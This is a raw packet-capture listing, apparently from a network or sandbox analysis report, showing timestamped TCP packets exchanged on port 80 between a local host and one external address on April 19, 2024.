Apr 19, 2024 03:29:09.219818115 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.220168114 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.220204115 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.220237017 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.220242023 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.220280886 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.220314980 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.220314980 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.220319986 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.220359087 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.220417976 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.220418930 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.220418930 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.222881079 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.222918987 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.222929955 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.222956896 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.222995043 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.223078966 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.223078966 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.226991892 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.227031946 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.227067947 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.227086067 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.227122068 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.227159977 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.227194071 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.227194071 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.227197886 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.227226973 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.227304935 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.230107069 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230144978 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230201006 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.230206966 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230246067 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230325937 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.230325937 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.230449915 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230488062 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230525017 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230556965 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.230564117 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230600119 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230635881 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.230635881 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230635881 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.230674982 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230678082 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.230678082 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.230714083 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230736971 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.230753899 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230792046 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230807066 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.230833054 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230870008 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230915070 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230916023 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.230916023 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.230916023 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.230952024 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.230989933 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231007099 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.231007099 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.231025934 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231040001 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.231064081 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231101036 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231105089 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.231105089 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.231138945 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231163979 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.231177092 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231213093 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231216908 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.231250048 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231286049 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231293917 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.231323957 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231333971 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.231362104 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231400013 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231412888 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.231412888 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.231436968 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231452942 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.231476068 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231514931 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231542110 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.231542110 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.231550932 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231569052 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.231590033 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.231637955 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.447680950 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.447712898 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.447732925 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.447772026 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.447809935 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.458452940 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.458492041 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.458528042 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.458528042 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.458566904 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.458589077 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.458589077 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.458605051 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.458625078 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.458642960 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.458673000 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.458682060 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.458719969 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.458729982 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.458745956 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.458769083 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.458771944 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.458830118 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.461543083 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.461602926 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.462959051 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.462997913 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.463035107 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.463064909 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.463107109 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.463388920 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.463427067 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.463463068 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.463495970 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.463495970 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.463501930 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.463517904 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.463538885 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.463552952 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.463582039 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.466034889 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.466073990 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.466110945 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.466149092 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.466172934 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.466172934 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.466172934 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.466324091 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.470228910 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.470283985 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.470321894 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.470323086 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.470323086 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.470360994 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.470383883 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.470397949 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.470437050 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.470447063 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.470447063 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.470616102 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.473249912 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.473289013 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.473354101 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.473354101 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.473372936 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.473412037 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.473418951 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.473670006 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.474697113 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.474739075 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.474776983 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.474814892 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.474823952 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.474823952 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.474855900 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.474875927 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.474894047 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.474931955 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.474955082 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.474955082 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.474970102 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475001097 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475008011 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475018024 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475048065 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475085020 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475122929 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475125074 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475125074 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475125074 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475159883 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475187063 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475198030 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475208044 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475234985 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475272894 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475289106 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475289106 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475310087 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475347042 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475383997 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475397110 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475397110 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475398064 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475421906 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475439072 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475461006 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475481987 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475497007 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475533962 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475570917 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475608110 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475614071 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475614071 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475630999 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475630999 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475646019 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475682974 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475692034 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475692034 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475739956 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475780010 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475791931 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475791931 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475819111 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475856066 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.475866079 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475866079 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.475893974 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.476026058 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.691498995 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.691554070 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.691648960 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.701863050 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.701921940 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.701960087 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.701997042 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.702035904 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.702074051 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.702094078 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.702094078 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.702094078 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.702111006 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.702112913 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.702155113 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.702191114 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.702231884 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.702248096 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.702248096 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.702248096 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.702289104 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.704972982 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.705981016 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.706146955 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.706186056 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.706258059 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.706258059 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.706526995 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.706567049 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.706707954 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.706707954 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.706743002 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.706785917 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.706824064 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.706861973 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.706873894 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.706873894 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.706873894 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.707040071 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.709346056 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.709387064 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.709424973 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.709741116 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.709741116 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.713610888 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.713699102 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.713784933 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.713821888 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.713825941 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.713860989 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.713892937 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.713892937 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.713900089 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.713910103 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.713975906 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.716456890 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.716495037 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.716538906 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.716577053 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.716618061 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.716619015 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.716619015 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.718918085 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.718956947 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.718998909 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719034910 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719082117 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719082117 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719082117 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719086885 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719126940 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719146967 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719165087 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719202042 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719238997 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719250917 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719250917 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719250917 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719275951 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719314098 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719316006 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719316006 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719316006 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719352961 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719388962 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719425917 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719430923 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719430923 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719465017 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719485044 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719502926 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719531059 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719541073 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719578981 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719614029 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719614029 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719615936 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719654083 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719672918 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719672918 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719690084 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719727993 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719733953 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719733953 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719767094 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719805002 CEST	80	49715	193.233.132.167	192.168.2.5
Apr 19, 2024 03:29:09.719814062 CEST	49715	80	192.168.2.5	193.233.132.167
Apr 19, 2024 03:29:09.719815016 CEST	49715	80	192.168.2.5	193.233.132.167
